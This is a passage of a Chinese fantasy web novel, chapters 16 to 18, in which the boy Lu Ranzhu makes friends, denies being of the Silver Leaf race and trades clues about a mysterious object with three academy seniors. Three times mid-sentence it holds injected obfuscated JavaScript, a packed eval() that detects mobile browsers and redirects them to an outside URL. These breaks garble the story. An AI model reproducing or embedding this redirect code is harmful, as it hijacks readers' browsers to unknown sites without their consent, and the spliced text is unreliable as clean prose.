“学姐?”扈可为一愣,“这个我就不清楚了,不过现在正值期末考核,她们六年级应该在忙着毕业考核的事情……” 扈可为下意识拿起通讯器,“要不,我帮你问问?” 见此,陆燃竹摇了摇头,“不必了。”卷发少年重新把手埋进阿灰温暖的绒毛里面,不管是不是,自己都不是银叶族,如果找上门来,坦诚就行了。 他觉得没必要麻烦扈可为特地去联系。 “跟我你客气啥?”看出陆燃竹有些心事,扈可为没有犹豫地拿起通讯器,“就问一问的事情,我记得诸学姐和沉学长在一个队伍,我问一问沉学长就行了。” 他发信息的速度极快,陆燃竹还没来得及阻止,他消息就已经发出去了。 习惯一个人处理的陆燃竹顿时有些无措。 “朋友就是要互相帮助啊。”扈可为把通讯器反扣在桌面上,“更何况你在甬道迷宫还帮了我这么多。” “这不一样……” “一样的。”扈可为笑笑看着眼前的卷发少年,“朋友就是这样的。” 他温暖的眼神中带着力量,无形中似乎在告诉卷发少年什么。 陆燃竹嘴唇动了动,随后卸下紧绷的肩部,“那你……以后有什么需要我帮忙的,也告诉我。” “哈哈,我正好就有一个。”扈可为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338393|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝毫没有给陆燃竹留个情绪舒缓的口子,“我这回来泗黑崖其实是为了我的期末考核,不过嘛,进展不太顺利。” 中央联盟学院是排名第一的觉醒学院,不仅是因为它招收的学生都是天才,还因为它的考核十分的变态,其毕业考核更是其中之最,通过率不到百分之四十,整个六年级的学生加起来都比过两个年级的还要多。同时,几乎每一个年级都有期中和期末考核,期中考察理论知识,期末则是各种各样古怪的考核要求。 扈可为这次的考核要求是增进自己对觉醒兽的理解,表面看似简单,但评定的教授已经否了他十版论文了,每次都是不通过。 他实在没办法了,找了个拥有预知天赋的同学帮忙,她说西方存在可能,他便跑来泗黑崖看看有什么灵感。 “所以我来了泗黑崖,但你也看到了,不要说是可能了,差点把小命都赔上了。”扈可为懊恼地叹了口气,“阿灰的能力也就那些,我就纳闷了,难不成教授会比我和阿灰更了解嘛?” “那可是我自己的觉醒兽。” 像扈可为这种能御兽的天赋觉醒者,联盟普遍的能力提升方向主要有两种,一是合体方向,二是召唤方向。前者强调召唤者与觉醒兽一同战斗,后者则是着重培养觉醒兽的能力,而这两者都需要召唤者对自己觉醒兽的充分了解。 对扈可为来说,现在的他还没到可以做出选择的时候,他与阿灰还达不到那个条件。 陆燃竹闻言面露疑惑,“那我又能帮你什么?”他就一个刚刚觉醒的,觉醒兽的论文,他又帮不上忙。 “帮我看看阿灰身上有什么异常啊。”扈可为眼睛一亮,“当局者迷嘛,我已经求助了我大部分同学了,他们给的建议我都尝试过了,无一都失败了,但你不同,我一见到你,就感觉你不一样。” “或许,那个预知同学口中所说的可能,指的就是你呢。” 扈可为信心十足,自打他第一面见到卷发少年就感觉他和其他人都不一样,肯定能触发他的灵感。 陆燃竹不知道他哪来的自信,甚至都要认为扈可为是不是随便编了一个理由来让他放宽心了。 正当他想要开口询问,男生放在桌面上的通讯器突然响了起来。 一时间,两人的视线都聚焦在上面。 扈可为拿起通讯器一看,“沉学长打来的!” 闻言,陆燃竹脸上闪过一丝慌乱,“喂……” 这和他想象中不一样,不应该是一个简单的回应就行了嘛! 而扈可为已经接通通讯,开始与那沉学长一阵寒暄。 卷发少年顿时有些局促,不是因电话中的那人,而是因为扈可为那宛若炸弹一般的交际方式。 他以前……没交过朋友,唯一能算萌发过的,也就已经形同陌路的何斛和谷添,千戈更不算,他就像院长一样,算长辈。 现在扈可为横冲直撞地抱着阿灰冲进他的视野,口口声声地说他们是朋友。 说实话,他感到负担的同时更多是开心和期待。 朋友,他也会拥有一起说话的人吗? 陆燃竹撑着下巴看向窗外,天色渐晚,街道两旁的路灯次第亮起,他耳边是扈可为一句比一句大声的背景音,怀里是属于阿灰温暖的体温,眼前…… 眼前是,属于另一个陌生人深邃的眼睛。 隔着窗户,俊美男生宛若画本上的人物站在路灯下,暖色的灯光融化不了他五官的疏离和贵气,微微看过来的眼睛,更是深邃淡漠。 “什么?沉学长你们也在泗黑崖吗?我也在啊!” “这么巧,扈学弟,我正巧在交易区呢。” 前后两句对话,就隔着一层玻璃,觉醒者优越的听觉更是让彼此都放下了手里的通讯器。 在扈可为和沉尧的惊呼声中,靳洲手里幻化的藤蔓也浮现金色的光线,隐隐透过玻璃指向抱着灰鸡的卷发少年。 他注视着那个瘦弱的少年,在对方明显的怔愣中轻微勾起嘴角。 “找到你了。” 17. 第 17 章 第17章 卷轴店亮起了暖煦的灯光,人流量稀少的休息区内,角落内那一桌近乎满桌的客人显得更外显眼。 扈可为强撑着微笑看着对面三位大佬,放在桌下的手抖成筛糠。他努力克制着不把自己的视线往坐在窗边的俊美男生身上看,而是看着坐在自己正对面的沉尧,抖着声音道:“啊哈,好巧啊沉学长。” “对啊,扈学弟。” “你姐姐最近还好不?” “很好,我跟她昨天才聊过。” 打扮得格外光鲜亮丽的沉尧也有些尴尬,他忽视着自己左右两边那两个几乎要把人家小兄弟盯出一个洞的队友,努力维持场面的和煦。 靠窗的那一侧,陆燃竹抱着阿灰,从见到陌生人那一刻,少年周身的气场没有单独见扈可为那样的轻松,反倒充满戒备,他看着桌面,平静的脸上看不出什么别的表情。 金勺勺在他脑里也异常紧张,美食开拓系统像是忘记自己不会被别人听到,它压低声音,“怎么办宿主!那两个中央联盟学院的学生找来了!” 神经兮兮的样子,和桌面下扈可为抖得不停的脚几乎同频。 陆燃竹:…… 说实话,他也不知道要怎么办。他也没想到扈可为口里的那个银叶族学姐居然正好就是千戈说的,那两个找自己的学生。 还这么巧,几人碰个正着。 他想回去睡觉了。 顶着那两人不加掩饰的视线,卷发少年轻轻叹了口气,他忽略耳边扈可为和沉尧那废话一样的对话,抬起头。 正好对上那一双深邃的眼睛,俊美男生即使到了室内也好像在发光一样,坐在他旁侧的相貌不俗的沉尧和诸墨都被称得黯然失色。 陆燃竹再次庆幸自己的刘海挡住了自己的眼睛。 “你们,是来找我的?” 在扈可为和沉尧已经聊到早上吃了什么时,卷发少年清冽的声音打断了那尴尬的气氛。 坐在最外侧的诸墨反应最快,她越过沉尧那碍事的头发,问:“那个古物屋的老板告诉你的?” 闻言,陆燃竹微微侧身,“对,他说你们在找银叶族。”他的视线停留在诸墨那银缎一样的头发上,继续道:“但我不是银叶族,你们可能找错人了。” 事情没有金勺勺想的那么糟糕,陆燃竹不是银叶族是个既定的事实。虽然不知道眼前的女生是从哪里听来自己是个银叶族的,但不是就是不是,说明白,也就事了了。 两人的对话你来我往,坐在中间的扈可为却越听越迷糊,原本跟着陆燃竹回答而点头的头顿时停住。 嗯?什么叫找人? 而他对面的沉尧却没想到对话的进展直接跳过了自我介绍,他脸上笑容一僵,想说些什么铺垫下前因后果,身侧的队友又直言道:“为什么?银叶族并不以银发为特征,你能适应逆觉醒流,这一点放在整个觉醒联盟内,只有银叶族有这样的种族天赋。” 诸墨不解地问,自从可控区752那件事移交联盟上层之后,她就一直在找那天在列车上听到的银叶族。姓名、特征,她是打听多路,确认千千古物屋内的确有个少年能长期待在可控区才找过来的。 尽管没想到扈可为与少年认识,几人阴差阳错地坐在一起,但眼前的少年为什么能一下就笃定自己不是银叶族的。 银发女生说话直接,但眼神中却没有任何恶意,纯粹的疑惑语气。 见状,陆燃竹蜷缩下手指,一时不知道该不该透露自己眼睛的秘密。 坐在他旁侧的扈可为反应极快,他强势插入话题,“诸学姐,燃竹他还真不是银叶族。” “他能适应逆觉醒流的原因不是因为体质。”扈可为知道卷发少年犹豫的点,如果只是单个感知天赋的话,这并不是不能说的事情,但两种天赋的种族他们几乎没听过。 神秘和未知也代表着风险,就算他刚刚发消息问沉尧,也是问问感知类天赋的特殊种族有哪些。 见毫不知情的扈可为出声帮自己解释,陆燃竹眨了眨眼。 沉尧也找到话题,“难不成可为你刚刚问我感知类天赋的特殊种族有哪些的这个问题,是替你朋友问的?” “对!”扈可为连忙点头,“燃竹他刚刚觉醒,又是孤身一人。我见他懵懵懂懂的,就想替他问问诸学姐,他到底会是哪一个特殊种族。” “所以他其实不是银叶族,学姐你,是不是找错人了……” 扈可为小心翼翼地说着。 闻言,诸墨也皱起眉,她一时不知道自己是不是冲动了些,凭着当初那听到的话就出来找人。 “你确定,身上没有想这样的图腾?” 银发女生扒开自己的领子,露出那银光闪闪的图腾。 “没有。”陆燃竹摇了摇头。 见此,诸墨松开了手,没有图腾,也能证明不是银叶族。 知道自己误会了,银发女生看着陆燃竹正色道:“看来是我搞错了,抱歉,让你受惊了。”她语气诚恳,没有因为眼前两人等级低而高人一等的。 沉尧见状也讪笑了一笑,他是陪诸墨一起找人的,女生是真的很在意有没有银叶族人流落在外,“燃竹……对吧?不好意思啊,诸墨她就是有些护短,一听到可能有族人流落在外就有些关心则乱。” 他帮着解释,眼角余光却不由得瞥向另一侧还在直勾勾盯着人的靳洲。 拜托,老兄,别盯了! 陆燃竹:“没事。”这件事解决得要比他想象中快,几个小时刚刚从千戈那知晓有人找自己,现在就已经解决了,效率出乎他的意料,只是……事情解决了,为何面前的人还在盯着自己? 卷发少年有些莫名其妙,他微微蹙眉转头迎上男生的目光,却撞进一汪沉静的幽潭,男生看向自己的目光十分平淡,与他的行为十分割裂。 而一旁在暗自观察的沉尧见两人视线接触,心中社交的警铃顿时大作。 一件事了了,还有另外一件事。 今天找这位燃竹小兄弟可不止诸墨一人,还有眼前这位令人艳羡的大天才。 大天才眼睫动了动:“陆燃竹,你,当时在痕叶藤的甬道内,是不是看到了什么?” 他这话一出,沉尧又是一个大喘气。 又是这么直接! 同时做出反应的还有陆燃竹和扈可为,两人当时虽然离靳洲和痕叶藤的作战区域近,但那时候灰尘碎石漫天飞,只顾着逃命,哪里还有心去看打架的是谁。 扈可为更是结巴着问:“靳、靳学长,那时候是你在和那株痕叶藤打吗?” “呃?这话说的,可为你当时也在场?”沉尧插入话题的时机总是那么恰到好处。 “我在啊,我和燃竹还有另外两个人当时恰好从甬道迷宫逃出来。”扈可为一边解释道,一遍小心翼翼地看靳洲,目光中都是看风云人物的那种好奇。 沉尧恍然大悟:“所以那个暴露的觉醒精英原来是你啊。” 扈可为瞬间满脸通红:“是、是我啦,可我也没办法啊,那可是领主级……” 两人一来一回,顿时把当时两边发生的事情都捋清楚了。 而另一边,靳洲还是盯着陆燃竹没有移开视线,他目光平静带着从容的自信,仿佛问出的话不是疑问句,而是肯定句。被他盯着的陆燃竹也瞬间明白自己是在哪一个环节引起了眼前人的注意。 是那个锅盖。 “你还别说,当时要不是封印的平衡被打破,我还真没那么容易拉回那部分不明物。”沉尧还在继续说着,他按着该有的社交节奏讲到了问题所在,“那个锅盖,真是神来之笔。” 他边说着,边看向陆燃竹。 卷发少年在几双眼睛的注视中表情依旧未变,他坦然承认,“那个锅盖,的确是我丢的。” 陆燃竹不知道眼前这人又是用什么手法追踪到自己,但看扈可为对靳洲激动又紧张的态度,眼前几人的身份一定不平凡。 没必要说什么谎,他们的目的很清晰,不是对自己,而是对那个不明物。 见他回答自己,靳洲搭在桌面上的手指微微一动,继而道:“感知天赋,眼睛,你能看到那个不明物的痕迹?” “可以。” 陆燃竹回答干脆利落,他把手同样搭在桌面,开始反问,“这个,和你们找我有什么关系?比我强的感知类天赋觉醒者同样也能看到。” 不,看不到。 沉尧和诸墨看着眼前稚嫩的卷发少年,早在半个小时前,第一批感知类天赋觉醒者已经抵达了泗黑崖。他们已经看过被送往联盟分析所的不明物,但却瞧不出其中的能量痕迹。在他们的感知中,那个不明物就像蒙住了一层又一层的薄纱,隐隐绰绰,单是看清能量流动就十分困难,更别提追踪。 目前靳洲他们能知道的,唯一能看清不明物能量痕迹,甚至能准确打破平衡的。 就只有刚刚觉醒的陆燃竹。 三人的沉默,像是默认了什么,也让陆燃竹猛地皱起了眉。 他很讨厌麻烦的事情,而现在,很麻烦的事情像是找上了门。 扈可为更是摸不清头脑,不明物?是什么东西? 坦率的诸墨见事情都聊得差不多了,接过了话头,“我们第二轮的毕业考核与这个不明物相关,这也是我们来找你的一个原因,另一个,则是这个不明物对联盟来说很重要。” “它的危险性,不用我们说你也能懂,我们不会要求你必须做些什么,只是,如果有它的痕迹,可以率先联系我们。” 她眼睛里充满真诚,沉尧则在一旁听得耳朵发红。 按道理,还是得率先联系联盟的。 陆燃竹很聪明,自然也明白眼前三人的打算。 “你们和联盟有关系?” 沉尧点头,他指了指最先开问的靳洲,“这人和现在泗黑崖驻守的觉醒传奇是师徒关系,他知晓,联盟就知晓。” 毫不犹豫地卖队友,被指的靳洲脸色没有半点波动,直接默认了这件事。 俊美男生接着道:“事关毕业考核,我们之间可以做个交易。” 他手指轻推自己的通讯器,在沉尧和诸墨惊讶的眼神中点开交友面板,“你提供事关不明物的线索,我会给你相应的报酬。” “你的名字?” “靳洲。” 陆燃竹听到这个名字,心下一跳,有些好奇地盯着眼前人,那日那个在卷轴上金光闪闪的名字在此刻与眼前人重合。 的确人如其名。 卷发少年也没想到自己有一天会与这样的人物有关联。 他下意识在心底与金勺勺分享,“勺勺,你瞧。” 金勺勺闻言仔细看了靳洲一眼,随后摇摇头,“也就一般,我觉得他没你好看。”见多识广的美食开拓系统承认眼前人比他之前见过的天之骄子们都要好看,但它又不是只看脸,它家宿主的气质才是独一份的! 脸更是加分项! 不知自己被金勺勺在心底大夸特夸的陆燃竹只觉得它是在哄自己开心。 不过他也没想到那个不明物会如此重要。但比起联盟那些主事人,他可能更偏向把线索交给眼前三个人。他想起之前让千戈坚定的那块石块,思索片刻,还是从兜里掏出来。 少年冷白的手指轻轻搁在桌面上,在靳洲的注视下松开手心。 “交易成立,这是第一份线索。” 他没管靳洲的通讯器,放下石块后,他在三人有些疑惑的眼神下继续道:“这里面有和不明物类似的能量痕迹,我找人鉴定过,它可能是某块石碑的碎片。” “它在可控区859的一头尖牙熊腹中,残骸的地点在密林区西部的河岸,如果你们需要详细的地址让追踪觉醒者去调查,我可以给你们坐标。” 卷发少年简言把石块发现的地方说清楚,逻辑清晰,几句话就把沉尧等人想问的都提前说了出来。 靳洲看了眼桌面上的石块,没和身侧两人一样一直停留在上面,而是视线微移,从少年还未收回的手,到那被晾在一边的通讯器。 沉尧没想到第一份收获来得这么快,他喃喃道:“小兄弟,你这效率也太快了吧。” “只是运气好而已。” 陆燃竹放完石块后,又亮起自己的觉醒腕表,他点开交友码,“联系的话,用这个吧。” 少年把腕表放在靳洲的通讯器旁边,即使通讯器使用起来可能更方便,但他的那个,现在除了接听通讯外估计什么功能都没有了。 见少年亮出交友码,沉尧也顺势拿出腕表要扫,只是他动作比左右两人都要慢,两声轻嘀声响起之后,他眼前的交友码才空出来。 沉尧:…… 以前怎么没见你们对这事这么热衷的。 而一旁,看着陆燃竹瞬间被其他三人加为好友的扈可为:不是,是他先提出邀请的!组队应该也是他先啊! 哎,不对,他是燃竹第一位好友。 男生瞪大的眼睛瞬间又收回去了。 加了好友,交易也算暂时成立。 靳洲也收回了自己那被晾在一边的通讯器,“那你的第一份报酬,想要什么?” 俊美男生的话一出口,陆燃竹顿时觉得这话有哪些不对劲,什么想要,应该是要求的意思吧。 “我还没有想好,可以延后提出要求吗?”陆燃竹犹豫,“当然肯定是等价的,你们觉得价值不对等的话,我们还可以商量。” “当然。” 沉尧闻言也插了一句,“小兄弟不必担心,只要你能助我们通过毕业考核,什么东西我们都能帮你弄来。 “那可为建个群吧。”陆燃竹对觉醒腕表的操作并不熟,他把自己的腕表直接解下来递给扈可为,“我不懂,那来弄,顺便当个见证人加进去。” 扈可为一脸懵逼:“我?” 他来吗?可这件事和他关系不大啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卷发少年顿时有些无语,他撇开某人还想继续捏的手,没好气地说,“你想多了吧,哪来人来关注我。” “可靳学长就找到你了啊,那可是个风靡全联盟的天才!” “这不一样。”陆燃竹停顿了下,“首先,不是只有我能看到,而是我看得比较清楚而已。” “你那个靳学长找我只是便利而已,比我强的感知系天赋觉醒者多了去,肯定不至于一点痕迹都找不到。” 他还没特殊到那个地步。 “不然,人家早就把我上交给联盟了。”陆燃竹看得很清楚,坐在他正对面的那个人根本不是冲动的性子,如果他没料错的话,自己拿给他们的那块石块等会就会被送到联盟高层了。 扈可为还有些迟疑,“难不成不是因为毕业考核太难了吗……” “你都说他是个风靡全联盟的天才了,他会怕这些?” 陆燃竹接着低头打字,“但你说得也有道理,这个不能让太多人知道。” 他并不想因为什么外力来打破自己的生活。 “那我帮你跟沉学长他们说?”扈可为拿起觉醒腕表,正想编辑信息,却发现那个五人小群内已有几条信息。 燃金:我的第一个要求想好了,我希望你们能保密我是你们线索的提供方,尤其是我能看到不明物痕迹这一点。 靳洲:这不算要求,保密是交易成立的前提。 沉尧:对没错,燃竹小兄弟不必担心,我们的嘴很严的。 诸墨:关于天赋,你如果有不懂的地方也可以找我。 一连串的信息,扈可为慢一拍地抬头,就看见卷发少年略带得意地抱着阿灰。较为鲜活的表情,称得他那张脸越发地小。 男生再次反应过来,眼前人比自己小了三岁。 行事却如此成熟。 扈可为的内心突然不太得劲,酸酸涩涩的。 “那还有一个呢,就那个何斛。” “他估计不知道,他一直认定我是银叶族。那天遇到他之后我也没在他面前表露出什么。” 进入排泄口之后,走前头的便是扈可为了,他并没有表露自己能引路的能力。陆燃竹倒不担心什么,就连扈可为还是在靳洲找上门才知道不明物的存在,何斛就更不知情了。 他也没想到当初的那个锅盖会引来这等大人物。 “别说完了,你的期末考核怎么样?我该怎么帮你?” 闻言,扈可为挠了挠头,他傻笑一下:“我……其实不知道。” 男生眼神游离:“不然我这几天带阿灰去各个可控区混混,然后你帮我看看它身上有什么变化?” 说实在,他们一人一兽,现在就是在可控区内当混子,偶尔隐身看看其他觉醒者和灾兽们。 纯当个偷窥的。 陆燃竹:“……” 他严重怀疑扈可为先前说自己能帮忙都是在敷衍自己。 卷发少年和扈可为聊天的背影被坐在窗边的靳洲收在眼底,俊美男生余光看着还未熄屏的觉醒腕表,平静的眼睛黑沉沉的,让人根本看不出他在想什么。 一旁跟着回完信息的沉尧骤然瘫倒在桌面上。 “我说两位大神,你们聊天能不能多些铺垫。”他吐槽道,“平日我也没见你们像今天这么积极。” “你们又不像我,是个留级生!” 他的一番吐槽,左右两侧的靳洲和诸墨都没回应,各自低着头摆弄着手里的觉醒腕表。见状,沉尧不满地凑近两人,“你们有没有听我说话。” 诸墨:“听到了,我因为错认愧疚些不行啊,你倒是问问靳洲,我还是第一次看他给其他人亮通讯器加联系方式的。” 闻言,沉尧方向一转,想威胁靳洲,又被男生一把摁住。 俊美男生不说话,不回应,也抗拒其他人的靠近,他指尖敲打着觉醒腕表,藏在衣服袖口下的手腕,隐隐有金色的鳞片浮现。 沉尧只能方向又一转,找诸墨聊天。银发女生在错认之后眉头也没松开过,眉间的愁绪反倒比一开始还要重。 “怎么?陆燃竹不是说他不是银叶族了吗?你怎么还愁眉不展的。” “你不懂。”诸墨回了一句,作为一名银叶族,她对特殊种族内部更为了解。先不提陆燃竹究竟能不能适应逆觉醒流这事,单是那与众不同的感知天赋就与她所了解的完全不同。 种族未知,还没有族内长辈传承,放在外人眼里可能没有什么。 但在她们的眼里,这迟早会出事的。 年轻的银叶族想起每次族内开会必提的那句警言。 “力量的获取必定存在代价。” 天赋是剧变发生后在所有智慧种族上诞生的奇迹,挖掘的,是每一个个体潜在在□□和灵魂最深刻的东西。 那并不是,用简单的异能力就能概括的概念。 18. 第 18 章 第18章 吼—— 可控区813群山深处,一声虎啸回荡在山间。 十几米高的山林笼罩着雾蒙蒙的晨露,陆燃竹弯腰采摘着冒尖的蘑菇植株时,正巧迎合着虎啸踩碎了树底下的枯枝。 咔嚓一声轻响,蘑菇表面的露珠映出那一双清透的紫眸。 少年额前的刘海轻晃,他的头发又长了一些,颈后的长长的部分因着能保暖被扎成了小辫,前头的刘海倒是理短了。细碎有些不齐,但却露出了少年那双好看又圆润的眼睛,连同那帅气精致的五官也一同展露出来。 【嘀——已成功收集绿级食材“晨露菇”,光系附魔已提升到五级,另,“香煎尖牙熊肉排”的防御加成效果已失效,冷却时间60秒。】 耳边熟悉的播报声响起,卷发少年也停下采摘蘑菇植株的手。 “晨露菇”,是可控区813的一种光系植株,只在日出后的一个小时内才会探出土壤。陆燃竹为了蹲守这种食材,特地没回城内,而是在可控区内搭帐篷住了一晚。 卷发少年把清晨的收获都收入背包内,转头朝河边走去。他昨晚的帐篷搭在河岸旁,为避免水位的涨落,选的地方地势较高。陆燃竹来到河岸时,原本周围的几个帐篷都已消失不见。 只留下一些扎营的痕迹。 夜晚在可控区扎营,放在以前,泗黑崖的低级觉醒者们断没有这个胆子。然而最近泗黑崖大出风头,原本还算宽裕的可控区资源开始变得急缺起来,外地来的觉醒者越来越多,一些本靠着收集资源而生的觉醒者们也不得不转换方式,挑可控区人少的时间段来收集资源。 虽然危险,但夜间的资源也比较值钱一些。 而现在,陆燃竹昨晚的那些“邻居”们,估计都回城补觉去了。 陆燃竹提着半桶水放在临时搭的帐篷外,拿出帕子浸湿的同时,一边用脚敲了敲与自己相邻的一个帐篷。 “咯咯咯!” 熟悉的鸡鸣响起,卷发少年擦拭脸颊的动作一顿,他嘴角微勾,下一刻,属于扈可为那毛毛躁躁的声音紧接着响起。 “阿灰!虽然你是鸡,但这晨起啼鸣的习惯,我觉得你得改改!” “咯咯!咯!” “你说什么?我睡懒觉?我才没有!” 召唤者与自己觉醒兽吵架的戏码,陆燃竹已然非常熟悉。卷发少年喊完人就没搭理那帐篷,转头在自己帐篷前面搭炉子开火。 等锅里的水开始沸腾时,扈可为才吵吵闹闹和阿灰从帐篷里面出来。 扈可为是昨晚和陆燃竹会合的。最近泗黑崖来了很多人,连同中央联盟学院即将毕业的毕业生们也来不少。一下来了那么多学长学姐,原本还想走一步看一步的扈可为顿时不敢懈怠了,开始拉着陆燃竹隔三岔五钻可控区来试验新能力。 两人一鸡一统。 虽说组队,但还是各干各的。 扈可为不像陆燃竹能久待,两三天他们才会合一次。他拉着阿灰试验新能力,陆燃竹和金勺勺则是继续收集食材和钻研食谱。偶尔陆燃竹会帮忙看看阿灰身上发生的变化,扈可为也会带来部分陆燃竹需要的东西。 两回组队经验,倒也算融洽。 见少年又坐在锅前,扈可为擦着脸走近,脸上没有对陆燃竹行为的好奇,反倒一脸平常地坐在了少年对面,“每次看你捣鼓这些,我就忍不住好奇。也亏你能想出这样的天赋锻炼方式。” 男生并不是第一次见陆燃竹开火了,对于少年通过制作料理来锻炼眼睛天赋的这种方式,虽然好奇,但也不会觉得奇怪。 中央联盟学院的学生,在初入学院时都会经历一堂启蒙课。 那便是讲清天赋的真正含义。普遍的觉醒者都会把觉醒而产生的天赋与异能力相等同,这无可厚非。二者本就是内与外的关系。许多觉醒者前期都是通过磨炼天赋熟练度和探究天赋灵活用法来提升等级。 但这样的方式,只能让你自己止步于觉醒大师。 觉醒大师和觉醒宗师之间有个门槛,被称为二次觉醒。这是一道极深的分水岭,只有真正找到属于自己天赋的开发之路,才能一举越过门槛,称为觉醒宗师,拥有称为觉醒传奇的可能。 这也是中央联盟学院考核变态的原因,他们希望自己学院的学生,拥有开发自己的觉悟和魄力。 由外显转为内求。 所以,为贯彻这个理念,他们学校非常鼓励特立独行的天赋锻炼方式,单是扈可为周围,天马行空的锻炼方式就出其不穷。 他原以为自己离开学院不会遇到学校里面那些怪咖,没想到兜兜转转,又遇到一个陆燃竹。 一个把感知天赋用在制作料理上面。 “能想到也是一个巧合。”陆燃竹回答道,“但用眼睛观察那些食材是怎么融合,又是怎么平衡的,这是一个很有趣的过程。” 他用勺子搅动着锅里的食物,淡淡道:“而且又安全,还高效。” 勺勺的存在是秘密,但系统的升级也离不开制作效果料理,他不可能一直瞒着,偷偷摸摸地进行系统升级。从与勺勺绑定开始,他们注定便是一起的。 有些时候一味地躲藏还不是一开始大大方方公开更好。 所幸,他的天赋能力有些特殊,与勺勺的能力更是融洽度极高。看透事物本质的天赋既能协助效果料理的制作,又能从中得到锻炼,这样的方式虽然稀奇,但并不是不能存在。 只要不暴露自己制作料理的特殊性,应该就没什么问题。 少年眼底散发着莹莹的暖光,盯着锅里各种复杂的能量变化怔怔出神。 美食是一门高深的学问,尽管他在金勺勺的指引下刚刚入门,可独特的天赋赋予了他触及这门学问最为精妙地方的能力。这让他短短十三年人生中第一次对某件事情萌发了兴趣,他开始沉浸于观察食材融合的这个过程。 每一次见证都是他好奇心更进一步的动力。 他很享受这样的过程。 扈可为没想到他的回答是这样子的,男生朗笑几声,“那这样倒是不错,我跟你说,我们老师还经常鼓励我们摸索其他的天赋锻炼方式呢。” “说是这样能碰撞出天赋的‘火花’,触发不一样的效果。” 他半开玩笑:“或许你这样的方式,还能制作出不一样的料理呢。” 闻言,卷发少年手一顿,脑里的金勺勺更是悄悄地说了一句:“这不就巧了。” 还真有不一样的“火花”。 扈可为说完这话不久,就被河边逗鱼的阿灰气得跳了起来,“阿灰,你等下又秃毛!” 眼见他们那对搭档又开始闹起来,陆燃竹猛然回神,他看着河边水花飞溅,又转头开始盯着锅里沸腾的食材,眨眨眼,什么话都没说。 锅里烟气上扬,模糊了少年的表情。 “燃竹,吃饭吧。” 扈可为在河边喊着,他拍了拍自己身边的座位,阿灰也咯咯叫了一声,用翅膀尖拍了拍自己身边。 陆燃竹起身,他走到阿灰身边,席地而坐的同时也掏出自己放在背包里的能量块。 两人一鸡开始用餐,卷发少年吃饭的时候又快又安静,异于常人的食量,使他在扈可为还没吃完的时候就开始吃第二块的能量块。注视着他一鼓一鼓的腮帮子,男生突兀地又笑了几声。 “每次看你吃饭我都想笑。你这食量,怪不得老需要赚钱。” 扈可为喝了一口水,接着说,“你吃完还是去收集资源?” 陆燃竹摇了摇头,“不了,我去找找线索。” 卷发少年仰头一口喝完营养补充剂。那天之后,觉醒腕表的那个五人小群并没有几人预想中那么热闹。正如陆燃竹所说的那样,能找到那块石块,纯属运气。近些日子来,他因为附魔数据库和天赋升级的事情,几乎走遍了所有他能涉及的低级可控区,却再没有遇到类似那块石块的痕迹。 中央联盟学院的那三个人又因为考核的事情近期忙于清除灾兽,也没有得到什么线索。只是偶尔,他们会带来一批东西,让卷发少年好好看看。 但他们五个人的运气看来都一般,那些东西并没有什么奇怪的地方。 至于上回的报酬,陆燃竹也在思索几天后提出。他向靳洲他们要了中级可控区的一种毒系灾兽,目的是进一步提升附魔数据库中等级最高的毒系附魔。灾兽的等级不高,也不麻烦,属于一个要求适中的报酬。 但靳洲那边却觉得这样的报酬太低了,几人碍于不熟的关系,最后沉尧提议多抓几只,卷发少年最终收获了一共五只毒系灾兽,交货的那一刻,他第一次在那三个人面前表露出怔愣的表情,面对像山一样的灾兽尸体,他一时都不知道该如何回应。 想推辞,又被那三个人直接硬塞。 最后只能硬着头皮收下。 而吃人嘴短,也应该多费点心思。 “这么积极,难不成是靳学长上次的报酬太过丰厚了?”扈可为调侃道,“可我记得就五只精英级的蹦蹦山蛙而已啊……” “闭嘴吧你。”陆燃竹耳朵微红,“你下次跟我一起去。” “好好好。” 两人你一言我一语,却不知原本在两人中间的阿灰早已悄悄溜走,藏着身形跑回了帐篷那边。 等吃饱喝足,扈可为带着阿灰离开后,陆燃竹才返回到帐篷那边。少年掀开锅盖,本想继续搅拌防止粘连,却在看见锅内情况时皱起了眉。 那一块的缺口,着实瞩目。 金勺勺也疑惑:“嘶,宿主,我记得我们离开的时候没有这个缺口啊。” 陆燃竹没说话,他猛然想起刚刚阿灰离开前那有些奇怪的表情,少年单膝蹲下,他眯了眯眼,果不其然在那块缺口处发现了一股熟悉的颜色信息。 “啊。”陆燃竹失笑,“勺勺,是有个小馋鸡偷吃了。” “真是的,菜都没好。”金勺勺嘟嘟囔囔,菜都没好怎么能尝到最完美的味道! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338395|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿灰真傻! 陆燃竹:…… 这个关注点,会不会偏了些? “勺勺。”少年有些迟疑,“没熟的料理……阿灰吃了应该没什么问题吧?” “呃……宿主,你问了一个好问题。” 美食开拓系统也不知道,尽管这回的食材都是无毒的,但……或许,会拉点肚子? 陆燃竹也想到了这一点,卷发少年起身看着扈可为他们离开的方向,那边是可控区715的方向,与扎营的可控区不同,是属于中级可控区,也是扈可为事先看好的训练地点。 